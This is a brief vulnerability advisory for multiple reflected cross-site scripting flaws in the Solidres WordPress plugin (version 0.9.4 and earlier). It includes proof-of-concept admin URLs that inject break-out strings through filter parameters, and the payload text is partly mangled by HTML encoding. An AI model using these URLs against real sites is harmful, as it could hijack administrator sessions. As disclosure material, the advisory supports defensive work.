Solidres <= 0.9.4 - Multiple Reflected XSS

The plugin does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open https://example.com/wp-admin/admin.php?page=sr-assets&amp;filter;_city_listing="> https://example.com/wp-admin/admin.php?page=sr-reservations&amp;filter;_customer_fullname=“&gt;&amp;filter;_guest_fullname=”&gt;&amp;filter;_checkin_from=“&gt;&amp;filter;_checkin_to=”&gt;&amp;filter;_checkout_from=“&gt;&amp;filter;_checkout_to=”&gt; Other pages & parameters are affected